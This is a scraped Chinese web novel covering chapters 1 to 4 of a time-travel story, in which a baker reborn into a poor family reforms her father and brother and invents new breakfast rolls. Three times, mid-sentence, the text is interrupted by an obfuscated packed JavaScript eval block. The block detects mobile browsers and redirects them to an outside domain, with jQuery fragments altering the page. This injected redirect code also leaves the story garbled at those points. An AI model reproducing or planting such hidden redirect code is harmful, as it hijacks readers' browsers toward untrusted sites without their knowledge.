《城北有间早点铺》 1. 第 1 章 闵晞是被吵醒的。 耳边时不时传来有人说话的声音和四处走动的脚步声。声音忽远忽近，细细听去，似乎还夹杂着鸡鸣狗叫的声音。 在这样吵闹的环境下，闵晞是再也睡不下去，缓缓睁开了眼睛。 双眼自然往上看去，瞧见的不是所谓熟悉的白色天花板，而是黑漆漆的砖，细细看去上面还挂着蜘蛛网。 身上盖的也不是温暖舒适的鹅绒被，而是又硬又丑，缝了无数个补丁的糙被子。 正当闵晞奇怪之际，忽然间，原主的记忆传进了她的脑子里。闵晞几乎是一瞬间知道了事情的原委。 行吧，原来她穿越了。 只是等闵晞了解清楚后，她差点大喊出来。 怎么别人穿过来不是皇家公主就是高门里身份尊贵的小姐，家里吃穿用度一应俱全，要什么有什么。 怎么她穿过来的身世这么凄惨！！什么都没有？！ 她叫闵晞，今年十六，家里有一双父母和一个哥哥，生活在京城城北的一处贫民区。 父亲名叫闵达彬，会些手艺活，偶尔接活赚点小钱补贴家用。祖上有一块传下来的铺子，因母亲会做一些面点，家里人便拿来开了个早点铺。 每天母亲的日常就是鸡不叫就起来去铺子后面的灶台忙活，等天将将亮了则会把蒸好的早点摆在外面吆喝赚钱，早点卖完了母亲则会再缝补一些衣物补贴家用。 至于到了下午便空出来的早点铺，父亲想着空着也是空着，便想了个法子。烧上热水，煮好茶，再摆上一些糕点。摇身一变，就变成一个茶馆。 只是那个早点铺地段一般，加上母亲做的早点品种太少。所以就算母亲做的吃食干净，味道好，但平日里来的人也不多，每月赚的钱也只够四口人勉强糊口。 守着空荡荡的茶馆自然无趣，所以父亲也喜欢在不远处的大街上和别人玩斗鸡斗蛐蛐，等天暗了再关门回家。 母亲为这事说了他不少次，但闵达彬每次都挥挥手说只是小玩怡情，但基本上只要他赚了钱就会立马赔出去，母亲为此没少和他吵架。 哥哥叫闵彦，今年满十九。本来这个年纪在古代也到了该说亲的时候，只是周围都没有女子愿意嫁给他，即使闵彦继承了双亲周正的样貌。 在古代都浑成这副模样，也因为自己这个哥哥不好好读书。小时候看着还算可以，但等长大了，不知道是随了他父亲还是谁，人是越发懒散，经常借口不去学堂。然后成天不干正事，到处溜鸡斗狗。夫子为了此事没少找父母说他，说他不仅不上进，还影响了其他的小孩学习。 家人看他读书不行，索性也就不让他读了，便让他出去找份工。可是闵彦虽嘴上说得好好的，但每找一份工作都干不长，不是这个不喜欢就是嫌弃那份活钱少。最久的一次干了三个月就不干了，说东家不喜欢他，然后又继续回来在家里躺着，好吃懒做。 所以这么一看，自己那苦命的母亲陶淑苑，是这个家里唯一的顶梁柱。 把家里情况都了解了一番，闵晞不禁感叹，这不就是传说中的天崩开局吗？ 要啥啥没有。 她也太惨了吧？穿过来和乞丐有什么不同？ 哦，乞丐没有房子，他们有。 想到这，闵晞下了床，看了一圈自家的房子。 嗯，果然破，顶上真的缺了一角，怪不得她刚刚总觉得有点冷。 房子不大，就三间屋子，三间房分别住的是父亲母亲，还有她和哥哥。 房里没有多余的家具，也就是衣柜和桌子，还有几把椅子，没了。 外头还有一间是厨房。 闵晞看了看一眼到头的厨房，发现家里的米缸快见底了，菜也就那一点，肉是完全不见，可以说是很凄惨了。 屋外有个小院子，闵晞一看，院角养了两只鸡，一公一母。院外还趴了只大黄狗，是她们家散养的土狗，好像叫大黄。 就这半大点的地方，闵晞一分钟就看完了。 她围着这个破烂的家是赚了一圈又一圈，心里那叫那个愁啊。 她什么时候吃过这样的苦啊？闵晞以前住在省会城市，家里不说富贵也是小康吧，父母都有工作，他们能吃得起热乎饭菜，能上得起学，家里还有一处地段不错的房子。 哪像这里，啥也没。 闵晞深深叹了一口气。照这样下去，他们家估计很快就要连房子都没了。 闵晞静下心来想了想，要想改变这样的现状，让家里变得好起来，首当其冲就是要改变自己这个爱赌博的爹！ 母亲再怎么赚钱有什么用？全都被那个没用的爹给败光了。 你要说喜欢斗蛐蛐斗鸡也就算了，不是什么大赌博，偶尔玩个一次两次也可以。但关键是家里本就不富裕，闵达彬居然还敢这样玩？而且还隔三岔五老去，茶馆是基本不管，这买的都是陈茶和放了许久的都快化成渣了的糕点，客人怎么会来？这样下去肯定是不行的。 还有自己那个不做事的没用哥，家里让他读书的意思也是想让他好好学，兴许可以考个什么功名回来，可哪知道他根本不是那块料。 但你说不读书也就算了，帮着照顾家里洗衣做饭也行啊，关键是他什么也不做。每天睡到日上三竿起，然后吃了家人留的饭就出去溜达了。也不知道去哪里玩，几乎是等了天暗了才回，和他父亲一个样。 根据闵晞的记忆，闵彦出去不是去和那些年龄半大的小孩抓虫玩，就是找个池塘水潭钓鱼打水漂，反正也是一天到晚不做正事。 只苦了原身这个母亲，每天天不亮就起床去铺子里忙活，因为没钱请不起工人，铺子里的事情只能自己和原身来。忙了大半天后回来还要照顾两个没用男人，这旧时代的女性真的太苦了。 至于闵晞自己，她从记忆里搜索了一下，她以前读过书，也会写字，只是学了没多久就没学了。因为家里当时把钱都留给闵彦读书了。 后面闵晞长大了一点，懂事了，就每天跟母亲学着做活。因为不忍看母亲每天工作辛苦，所以家里做饭洗衣的基本是闵晞。 天啊，这不就是传说中的童工？ 闵晞看了一眼浑身上下没几块的肉的自己，她小小年纪居然还要跟母亲一样主内又主外照顾两个吃闲饭的男人？这对一位从二十一世纪穿越过来的女性来说是绝对不能允许的事情！ 要想吃饭，就必须有付出，有行动！ 心里默默规划了一番，闵晞脑海里已经有了个大概的计划。 情况还可以改善，只要大家肯一起努力。 想到这，闵晞看了下天，估摸着也到了快做晚饭的时候了，她便拿起水桶准备去外面接水。 家里连个水井都没有，闵晞只能去外面的一条河里打水。好在河水距离不远，走一炷香也就到了。闵晞出门的时候，原本趴着的大黄也跟着起身，和闵晞一起走了出去。 接水的时候，闵晞对着水里看了看，发现这张脸和原来的自己长得差不多。如果好好收拾一下，换下这身粗麻布，穿个好点的衣服，配点首饰，抹点脂粉，也算是清秀可人吧。 只是现在明显不是关注这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589863|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候。闵晞打好水后，提着两桶水颤颤巍巍走了回去。一路上有熟人见了她还和她打了招呼，闵晞也一一呼应了。都是住在左邻右坊的邻居，关系还算可以。 打水回了厨房，闵晞把厨房里所剩无几的食物盘算了一下，又对眼下的情况做了一个打算，然后决定照着这个计划去实行。 临近傍晚的时候，街口一个男人摇摇晃晃走了回来。回来的不是别人，正是闵晞的父亲闵达彬。 茶馆附近有几家小饭馆，今天有人结婚正好在那里办酒席，连带着闵达彬的茶馆也跟着蹭了点，捞了几个钱。 只可惜这点钱，他揣在怀里还没捂热，下午便又被人撺掇着去斗鸡。闵达彬本就听不得这些，耳朵一软便去了。果不其然又输了，等于是今天又分文没赚。 闵达彬回了家，发现厨房正冒着烟，应该是闵晞正在做饭。闵达彬看了一眼便回了屋，想先休息一会儿，顺便等他们回来一起用饭。 过了一会儿，闵彦也回来了，他也溜回了房，和父亲前后脚躺在了床上。 闵晞仍然在厨房里做着饭，她算着时间差不多了，便把煮好的菜粥端了出来，放在厨房的桌子上，又去准备其他的菜。 等又过了一炷香的时间，陶淑苑终于回来了。闵晞听着门外的脚步声，看母亲回来了，也坐了下来，招呼着母亲洗手吃饭。 陶淑苑面相看着很是温婉，只可惜脸上的神情和手上的老茧，都让人一看就知道这是个苦命操劳的女人。 陶淑苑来到了厨房，开心道：“我今天帮街角的张姨家缝补了一些衣物，赚了几文钱呢。” 闵晞听了有些酸涩，但也不敢说什么。毕竟现在这个家里，母亲是操心最多的人，所以她也只是不再多说，笑嘻嘻地让母亲过来吃饭。 陶淑苑坐了下来，看父子二人还没过来，便又起身道：“我去喊他们过来。” 哪知道闵晞按住了陶淑苑：“母亲不用管他们，我们吃我们的。” “这是为何？” “你不用管。”闵晞信誓旦旦对着母亲道：“过会发生了什么母亲只管在一旁看着就好，其余的别管。” “忙了一天也饿了吧？先吃饭，其余过会说。” 陶淑苑虽有疑惑，但看闵晞强势的样子，也不好多说什么，便老实坐了下来和她一起吃起了粥。 隔了间房的父子二人知道陶淑苑回来了，但因着每次做好饭他们都会喊人过去吃饭，所以这次他们也心安理得躺在一旁等着喊吃饭。 只可惜这次他们左等右等，闵晞和陶淑苑都没来喊他们，他们便起身主动走了过去。 这一过去，他们才发现二人早已吃完饭，都准备洗碗了。 “你们怎么回事？”看见此情景的闵达彬先是愣了一下，然后生气道：“怎么吃饭都不喊我们？” 看见丈夫生气了，陶淑苑第一件事则是道歉，然后才解释：“晞儿刚刚给我说你们已经吃了，我们才自己吃饭的。” 闵彦听了疑惑道：“我们什么时候说我们吃了？没有的事啊。” 正当三人大眼瞪小眼的时候，闵晞拿筷子敲了敲碗，示意他们安静。等大家都安静下来，目光看向了闵晞，闵晞这才道：“是我说的父亲和哥哥已经吃了饭。” “这是为何？”闵达彬不解。 闵晞淡然看向他们：“以后这个家里，不做事不赚钱的人没有饭吃。” “你们既然想吃饭，那要不每天干活做事补贴家里，要不去外面赚钱养家。” “没有付出的人，什么都没得吃。” 2. 第 2 章 闵达彬听到这里，先是呜呼高喊一声：“岂有此理！哪有不赚钱就不给饭吃的道理？” 一旁饿得不行的闵彦也是喊道：“就是就是，没听过这个理。” 闵晞等他们嚷嚷完，才慢条斯理道：“以前是没这个理，但打从今天起，这个规矩我就立下了！” “母亲每天起早贪黑赚钱，空了还缝补衣物补贴家用，那眼睛早就伤了。而我则浆洗衣物，负责给你们做饭，手上都是满茧子。我和母亲都在做活，你们两个顶天立地的大男人怎么就一点活不干，一点力不出？” “说出去不知惹了旁人多少笑话。” 闵达彬听到这里脸一红，但还不等他狡辩，闵晞又继续说着。 “放眼看去，哪家的男儿不干活，哪家的小子不读书？合着母亲和我就得白白拿着吃食供养着你们？你们又不是神仙也不是佛祖，自个掂量掂量，好意思吗？” 一番话说下来，是让闵达彬和闵彦都有些抬不起头。 其实闵达彬早些年也不是这样的，刚认识母亲的时候还挺勤快，人也没发福，看着还挺有朝气。因为会点手艺活，经常会用竹片编织一些玩偶上街摆摊赚钱。 也正是因为这个原因，母亲当年才会被他所吸引。哪知道婚后有了孩子，闵达彬是越来越懒惰，加上后面好不容易存了几年血汗钱，闵达彬打算和亲戚合伙做生意。结果却在最后才知道亲戚早就拿着钱跑了，闵达彬这才悔恨不已。 眼见钱要不回来，这人是慢慢心灰意冷，赌博也是那段时间染上的。 闵达彬见女儿气势汹汹的样子，也有了几分悔意，小声道：“我今天赚钱了，今天茶馆来了好几个人呢，五街老黄家的儿子今日娶妻，距离铺子不远，我还去拿了两颗糖呢。” 闵晞听到这双手一摊：“钱呢？” “既然赚了钱，那给我明天买菜吧。” 听到这闵达彬脸更红了，装模作样伸手摸了摸兜里，末了只掏出了两颗喜糖和一把瓜子，轻轻放在了桌子上。 “钱，钱估计是忘在铺子里了，我明天再去取。先吃点喜糖，沾沾喜气” 见状大家心里已经明了，闵达彬肯定是把赚的钱又输出去了。母亲的脸是又垮了下去。 闵晞看在眼里，疼在心里，当即怒道：“既如此，那饭便明天再吃。少吃一顿也不碍事。哥哥也是一样的，你不赚钱也不做活，也是没饭吃。” 闵彦还张嘴想说些什么，闵晞抢道：“父亲可想好了，家里家徒四壁，哥哥也没个正经活计，有哪个姑娘会看得上他？没有嫁妆的我，谁又愿意上门来求娶？” 对于古代人来说，孩子娶妻生子可是天大的事，闵晞这话算是戳到了闵达彬的命根子。 他也知道女儿说的是实话，只讪讪道：“女儿批评的是，是为父的错……” 把人批评了一番，也算是点醒了他们，闵晞这才神色稍宽：“既然同意我说的话，那父亲以后可莫要再赌博，哥哥以后也不要出去玩了。” “哥哥读书不行，那就先跟着我学洗衣做饭，好歹分担一下家里的活。” 闵彦心想这可是女人的活，他可不想干，但在看见母亲已经泛白的鬓边和满手是茧的妹妹时。心里不大是滋味的他思前想后还是同意了。 眼见大家达成共识，闵晞放松道：“既如此，就说定了，以后家里谁不干活就没饭吃，你们今天就先饿着吧。” 说完收拾起了桌前的碗，背过身洗碗去了。 见闵晞态度坚决，父子二人对望一眼，叹了口气，闻着还未散去的饭香是深深吸了一口，默默回了房间。 陶淑苑在一旁是看在眼里，疼在心里。虽然丈夫和儿子不成器，但也没做过什么伤天害理的事，品行也不坏。但就因如此，她才会对父子二人百般溺爱，以至于造成今天的局面。 她也知道闵晞做得对，家里只靠她和闵晞两个人实在是太累了，这样下去家里一定会穷得连锅都揭不开。 所以面对闵晞立下的规矩，陶淑苑也是赞同的。 只是不知道这个规矩是否能长久立下去。 第二天，闵晞就把还在睡梦中的闵彦给闹了起来。 “小妹，这才几时……”闵彦眯着眼看着还是暗蓝色的天空，嚷嚷道：“再让我睡一会儿吧，睡着就不会饿了。” 闵晞一点面子不给，“哥哥可不要忘了昨天说过的话，母亲平日里可都是这个点起的，快点起来了。” 说着三下五除二把人从被窝里给拉了出来：“先去打水来净面。” 脱离了被子的闵彦打了个冷战，这才彻底醒了过来，懒懒散散穿好衣服去打水。 等他回来，闵晞已经和母亲收拾好了。见闵彦站在院里，闵晞便坐在石墩上，指着两个盆里的一堆衣物和搓衣板道。 “今天你的任务就是把这些衣物洗完并晒好，等回来我和母亲可是要检查的。要是做得不好，就没饭吃。” “什么？！”闵彦听见眼睛都大了，他瞪着那一堆衣物道：“这么多衣物，我怎么洗得完？” 闵晞丝毫不留情面：“就算洗不完所有那至少也要洗完一盆。怎么洗衣服母亲以前就教过你，你可别偷奸耍滑想着蒙混过关，回来我们可是要检查的。” 说完闵晞便拖着母亲离开了家，朝着早点铺走去。 早点铺距离他们住的地方不过一炷香的工夫，不算远。等二人前后脚到了铺子前，闵晞看着连牌匾都没有，大门已经掉了一大半漆的早点铺，是深叹了口气。 就这脏兮兮的门面，不说别人，就连她看着都不想进去。 只是这话不能说出口，闵晞只心下一沉，跟着母亲开了门来到后厨，准备开始烧水和面。 这个世界麻烦就麻烦在没有机器，好也好在没有所谓的预制菜。母亲所做的早点都是自己起早亲手制作而成。味道先不说，至少是新鲜干净的。 闵晞因着之前就是个面包师，所以做这些手到擒来。她跟着母亲从和面到发酵，再到整形和蒸制，很快就把馒头做好放进了蒸笼里。 除了馒头以外，母亲还会做一份荤包子和素包子，以及现磨的豆浆和熬制的白粥，再加上自制的泡菜和水煮鸡蛋。 这就是早点铺所有的东西了。 做完前期的准备工作后，闵晞擦干了手，望着本来一片暗色的天空渐渐亮起来一抹鱼肚白。等着那一抹白色逐渐扩散开来，一点一点将黑暗吞噬，她的心里已经有了一个大概想法。 要想赚到钱，必须得整改！ 首先是早点的品种太少了。 母亲这个早点铺，因为人手不足，所以只能做些简易的吃食。因为品种单一，所以自然来的客人也少。如果是她的话，那起码得保证一间铺子有七八种早点供客人选择。最好还要不定时上新一些新品种，以防客人吃腻了。 二来就是这个铺子的装潢布置也需要改进。 家里钱不多，这个铺子简陋到就连个牌匾也没，所以虽然母亲前前后后把店里打理得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589864|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净，但外面的装潢终究是破败不堪，看起来尤其脏乱。里面的桌椅也是用了许多年，桌角和椅凳是瘸的瘸，残的残，就连有些碗都有破角，也不怕客人喝着豆浆不慎划拉了嘴角。 加上母亲为了节约钱，连蜡烛也不点。早上天将明未明的时候，正是需要光亮的时候。所以点两根蜡烛还是有必要的。 一个店铺的精神气可是重中之重。如果她看到一家店铺脏兮兮的，连光亮都没有整体看起来黑乎乎，那她根本不会考虑进来。 至于最后，这个店铺的位置嘛……闵晞正想着的时候，母亲陶淑苑端着两碗白粥和两个馒头走了过来。 “来，趁热咱们先吃，要不然等客人来了就顾不上了。” 望着热气腾腾的早饭，闵晞突然觉得肚子空空。 也难怪她觉得饿，做早饭本就是赚的辛苦钱。她们日常吃的饭食本就没什么油水，早上寅时过半就起来了，然后便一直忙活到现在，肚子不饿才怪。 听着不远处的鸡鸣声，闵晞当机立断，先吃饭。 别的不说，虽然铺子有很多需要改进的地方，但母亲的手艺还是不错的。也或许和她以前吃的都是预制菜有关，闵晞一吃这馒头便挑起了眉。 这馒头竟是如此好吃，咬一口香软绵密，细细品尝下碳水独有的甜味溢满口腔，几口下去，让这馒头是越嚼越香。和她以前吃过的预制糙馒头完全不一样。 闵晞很快便吃完了那柔软蓬松的馒头，接着喝起了碗里的白粥。 虽说家里清贫，但母亲在食材上一向很舍得。这粥虽然稀了点，但米是不错的。再配上亲手泡制的爽口小菜，闵晞是觉得异常开胃，三下五除二便喝完了，只留下了一个空空的碗。 和母亲有些呆愣的眼神。 “嗝！”闵晞摸着自己不再扁扁的肚子，心想着看来她是真饿了。 也难怪，莫名其妙穿越过来，还遇上了这么大一个烂摊子，任谁都得头疼。 吃完饭后，早点铺算是正式开张。母亲知道来铺子吃饭的人不多，所以准备的量也不太多。也正因如此，来铺子里吃饭的大都是熟人。 “陶婶，给我来碗豆浆和一份肉包。” “陶姨，要碗白粥和馒头。” 陶淑苑听了连连应下，然后熟练地从锅里打了白粥和豆浆，闵晞也从蒸笼里拿出正热乎的肉包和馒头送到客人面前。 虽然上座率不高，但零星总有客人过来。期间也有几个读书快迟到的孩童拿了包子就跑，连坐下来吃饭的时间也没。 “还是陶婶这里的豆浆好喝。”说话的是住在距离闵晞家一条巷子外的庄家的孩子庄博。庄博笑着答道：“上次去集市那里吃饭，不仅比你这贵了一文，连豆浆都稀得很，喝着和水也没甚区别。” 陶淑苑听了笑答着：“既然喜欢就常来。对了你家爹爹身体如何了？” 庄博一家都是务农的，庄博父亲前几日下地不小心闪了腰，陶淑苑这才问了几嘴。 “差不多了，不过还得再休息两日。” 闲聊过后，庄博给了钱也离开了铺子。 看着庄博远去的身影，陶淑苑感叹着：“要是闵彦也有这么勤快，能帮衬着家里该多好。” 闵晞听了心想，要不是母亲您和父亲的溺爱，闵彦能变成如今这样吗？不过多说无益，闵晞默默收拾了桌子，把碗拿去了后厨。 之后两人守着铺子直至早点卖完，便洗了碗筷，擦了桌子，关了门准备去集市进行采买。 3. 第 3 章 最近的集市距离这里莫约两刻钟不到，母女二人说话间便到了。 陶淑苑先是照例买了些做早点需要的黄豆、细面、蔬菜和肉类。然后又买了些需要的调料。闵晞一路跟着好奇地看来看去，发现这古代的集市大体和现代差不多，人的吆喝声此起彼伏，热闹非凡，而且路上还能见到不少牛车驴车。这让住在城市里的闵晞见了是目不转睛。 眼见着母亲在粮铺里看起了油，闵晞也看起了糖。她准备买点糖回去尝试一下做花卷。 家里有糖但都是些粗糖，自己吃也就算了，但要是拿去外面卖感觉还是差了点。所以她想买点赤砂糖也就是现代的红糖，那样做出来卖相也好看。 不过看了眼赤砂糖的价格，竟比普通的白糖贵上了一倍。用现代人的眼光来看，闵晞虽然觉得不是很贵，但是她现在家贫明显买不起，所以只能咬牙作罢。 接着闵晞转头看见了隔壁干货店卖的花生和芝麻，便灵机一动，心想买点花生和芝麻磨了做麻酱花卷也不是不行，便去看了看磨好的麻酱。只是这一闻闵晞就微微皱起了眉。 这外面磨的麻酱果然还是没自己做的好吃，还是自己买来磨吧。这样想着闵晞问了问母亲。 “母亲，我能买点花生和芝麻吗？” 问了用途后，陶淑苑得知孩子想尝试做新的早点。虽有点犹豫，但看在闵晞素日里乖巧懂事的份上，还是买了一些，说让她先试试再说。 得了母亲同意后，闵晞又缠着母亲让买了些葱花用。她打算做两种花卷，一甜一咸，这样客人就可以尝到两种不同的口味。 买完东西，两人提着大包小包的东西回了家。等闵晞刚把东西放进厨房，就见闵彦快步走了过来嚷道：“我听你吩咐把衣服都洗了，你看！” 见他真这么听话，闵晞便和母亲去院里看了看，发现衣服虽然是洗了，但还是洗得不大干净。不过看在闵彦终于肯干活的份上，所以勉强算作过关。 看闵晞点头了，闵彦这才道：“那快给我做饭吧，我都快饿死了。” 母亲听见孩子饿得难受，赶忙进了厨房做饭，闵晞则又把没洗干净的衣服冲洗了一遍，接着三人简单吃了口午饭。 饿了许久的闵彦这一顿吃了不少，那模样可把陶淑苑有些吓着了。 吃完饭后，闵彦放下筷子，本以为今天的活就此结束，准备回房睡个大觉。哪知道闵晞立马出声：“哥哥，先别走，帮我做点事。” 闵彦听了瞬间不满嚎叫着：“我都做了一上午的活了，就不能让我休息会儿吗？” 闵晞就知道自己这哥哥懒散惯了，便指了指刚买回来的芝麻和花生：“想不想吃好吃的？” 一听到有好吃的，闵彦来劲了：“是什么？” 闵晞道：“麻酱。” 闵彦不解道：“你要自己做？这是为何？” 这麻酱普通的粮油铺里就能买，不过价格是要贵上些许。但闵彦不当家也不知茶米油盐贵。 闵晞便回：“一是外面卖得贵，二是我自己做得更干净好吃。” “所以你要是想吃的话，就得继续干活。” 听完后，闵彦叹了口气，见闵晞把买回来的白芝麻先用清水淘洗了两次，洗去上面的灰尘。等水变清后，用勺撇去那些浮在水面上的芝麻。接着闵晞把芝麻倒进了锅里，大火快炒，把芝麻渐渐炒干。又转为小火，继续慢炒。等白芝麻表面呈现出微微泛黄的状态，闵晞便关火把炒得酥脆的白芝麻倒了出来，等待晾干。接着闵晞又炒了炒花生，直至炒出香味才停下。 期间闵晞让闵彦去街对面的胡叔叔家问一问他们的小毛驴是否有空。 闵晞住的这一片都算是贫民地带，胡叔叔家里比起他们来说要富裕一点，所以也是这街坊邻居里唯一一家有驴的。 闵彦之前和胡叔叔家的小儿子经常在一起玩，所以借一下也无妨。 等闵彦回来后，闵晞把炒得香喷喷的芝麻和花生并一个干净的罐子交给闵彦，叮嘱他等毛驴磨好后，便把麻酱装进罐子里带回来。 闵彦抱着散发着香味的花生芝麻，是应下了。可等他转过身刚想偷尝两口，闵晞拉长的声音传了过来：“可不准偷吃哦，哥哥。” 闵彦只得连连应下，保证不会，然后飞一般离开了院里。 自己这个妹妹，怎么就跟他肚子里的蛔虫似的，知道他想做什么？ 闵彦去胡叔叔家就跟自家后院一样熟悉，打了招呼后他便来到了小毛驴身边，摸了一把它的头：“好好干活啊，毛蛋。” 接着闵彦把炒香的芝麻和花生一起倒进了石磨里，然后给毛蛋戴好眼罩，又拍了拍毛蛋的屁股。毛蛋叫了两声，慢慢围着石磨走了起来。 等待的过程着实有些漫长，但闵彦也不敢去偷玩，毕竟要是妹妹要求的事没办好，那他可能又要没饭吃。于是在他蹲在那里的时候，胡家的小儿子正好回来，看见闵彦在那，便跑了过去。 “哥哥怎么今天没来河边抓鱼呀？”胡三狗道。 三狗今年才六岁，因着从小身子不太好，家里便取了个贱名，说是好养活。 闵彦看着玩得身上脏兮兮的胡三狗回来了，不免笑道：“看你这脏兮兮的样子，怕不是又摔进了河里，小心胡叔过会收拾你。” 胡三狗满不在乎道：“反正有娘在咧，我才不……哎这是什么味道？好香？” 小孩子敏锐地察觉到了一股油脂的香味，便四处望去，接着发现了正在旋转的石磨。 “这是什么？” “这是妹妹让我做的麻酱，也不知打算用在何处？” 胡三狗望着那褐色的液体，刚玩回来的肚子是饿得咕咕叫，便用手蹭了一点石磨上的麻酱，舔了舔。 “好香！从没吃过这么香的东西。” 闵彦见胡三狗眼睛亮亮的，是笑着摸了摸他的头：“那你就去拿两个馒头过来蘸着吃，那样更香呢。” “不过有点苦，还是算了。” 小孩味觉灵敏，觉得麻酱苦也是正常。 和胡三狗闲聊后，闵彦抱着研磨好的麻酱回了家，见闵晞正在厨房忙活着什么。 见闵彦回来了，闵晞抬头：“你回来得正好，我正打算开工呢。” “开工什么？”闵彦把整罐麻酱递过去。 闵晞打开罐子闻了闻麻酱的香味，赞道：“你就等好吧。” 刚打出来的麻酱很是浓稠，味道也有些苦，要用的话还要加些调料。于是闵晞便舀了一些麻酱出来往里面加了些盐和融化了的白糖用以佐味，然后还放了刚刚炸好的葱油进去，这样麻酱也顺滑了不少。 一时间满屋子都是麻酱的油脂香味，连闵彦闻着都有些口干。 接着闵彦见闵晞熟练地把已经准备好的光滑面团给均匀擀开，然后倒上调好味的麻酱。之后用刀斜着切成大小一样的剂子，再把两个剂子上下放在一起按压，这样花卷的形就出来了。 整好形的花卷被闵晞摆在蒸笼里醒发一会儿，再大火蒸一炷香的时间即可。 在闵晞醒发的时候，她也没闲着，继续做咸味的也就是椒盐花卷。方法都是一样的，就是由麻酱变为了薄油和食用盐、还有花椒粉，当然最重要的就是葱花了。 葱花要多撒一些才好吃，这样看着颜色也漂亮。 等葱花花卷生胚做好后，这边的麻酱花卷已经蒸好了。闵晞端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589865|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出来在一旁放凉，又把葱花花卷放进去醒发。 闵彦在旁边看着妹妹一气呵成的动作，心里是有几分佩服，但面上却不显。只是闵彦那直勾勾盯着花卷的模样已经暴露了他内心的想法。 “这是什么？” 看出了哥哥的意图，闵晞道：“这叫花卷，和馒头差不多，但又有点不同。哥哥现在要吃的话只能吃一个，其余的等晚上再一起吃吧。” 听闵晞这么说，闵彦赶忙拿了一个正热腾腾的麻酱花卷，只是花卷太烫，闵彦还是吹了好几口才吃下去。 这一嘴进去，闵彦眼睛都圆了。 一口下去，松软的面香与醇厚的麻酱味道相结合，细密的麻酱被层层包裹着，甜蜜的麦香与坚果的焦香混合在一起，散发着美味的香味，再配上那独特的造型，引得人胃口大开。 这麻酱花卷是越嚼越香，闵彦两三下便吞吃入腹，末了还跟胡三狗一样舔了舔指尖，然后又眼巴巴望着妹妹蒸的另外一种味道的花卷。 知道自家小妹做饭不错，但没想到这次做的花卷竟如此好吃。 等另一笼花卷出来后，闵彦又拿了一个来品尝，同样也很好吃。 热气中葱花的香味扑面而来，层层叠叠的面皮里夹带着绿油油的细碎葱花，看着格外诱人。一口下去，不同于方才的甜，葱油的咸香味混合着淡淡的椒盐味道，简直让人欲罢不能。 不出所料，这次的葱花花卷也很快被闵彦消灭干净。 接连两个下肚，闵彦也不觉饱，都还想再吃两个解馋，却被闵晞的眼神给吓了回去。 “哥哥要是都吃了，晚上咱们吃什么？” 既然妹妹都这么说了，他也不好再动手，只好慢慢回了房。 晚上等家人回来后，闵晞端出了新做的花卷和另外两道清淡小菜，便招呼家人过来吃饭了。 父母和母亲都是第一次吃这玩意，模样看着很是特别。闵彦便拿起一个花卷解释道：“小妹说这叫花卷，母亲看这造型像不像一朵花儿？” 闵母看着道：“这就是晞儿说的新早点？看着确实有几分新奇” 闵晞一脸得意：“母亲尝尝就知道。” 等二人吃下肚，果不其然脸上露出了惊异的表情，闵彦看着二人的表情，洋洋得意道：“好吃吧？不愧是我小妹做出来的食物。” “母亲如何？”虽说之前已经尝过了，和现代的花卷口感还是有些不同，不过应当还是不错的。 “好吃，真的好吃……”母亲顿了顿：“我还是第一次吃这样好吃的馒头？不对，这里面有馅，那算是包子？” 闵晞笑道：“管它是什么，好吃就行。母亲您说明天我们做这个卖如何？” 闵母还没说话，闵彦便抢答道：“总是做那些包子馒头大家肯定也吃腻了，要是做这个花卷的话，一定有很多人来买的。” “是吧？母亲？” “这也不是不可以，只是晞儿你是怎么想到这法子的？” 陶淑苑知道女儿从小聪明懂事，没想到在做吃食这方面也如此有天赋。 没等闵晞说话，旁边的闵达彬已经接连吃了三个花卷，这会已经拿起了第四个，眼见着花卷已经少了一半。 “爹，你怎么就光顾着吃！”看闵达彬埋头猛吃的样子，闵彦是喊道。 闵达彬吃着花卷，嘴里含糊不清：“好吃就行了，管那么多干嘛？别聊了先吃饭，要是冷了就不好吃了。” 看着一家人坐在一起吃得津津有味的样子，闵晞是忍不住笑出声。 既然自家人都这么喜欢吃，那么卖给外面的人应当也不会差。 她对自己的技术还是有信心的。 4. 第 4 章 翌日，闵晞和妈妈一早赶早点铺，开始新一天的忙碌。 因着昨天做的花卷受到了大家的一致好评，所以今天闵晞准备试做两笼麻酱花卷和椒盐花卷，看看能否卖得出去。 等到花卷上锅蒸的时候，陶淑苑这才想起一件事：“晞儿，这价格你打算怎么定呢？” 这件事闵晞昨天已经想好了，按照这个时代的物价来看，馒头普遍是一文一个，肉包子和素包子则是三文钱和两文钱。但因为闵晞所在城北，所以价格要便宜点，一文钱可以买两个馒头，四文钱可以买两个肉包子。 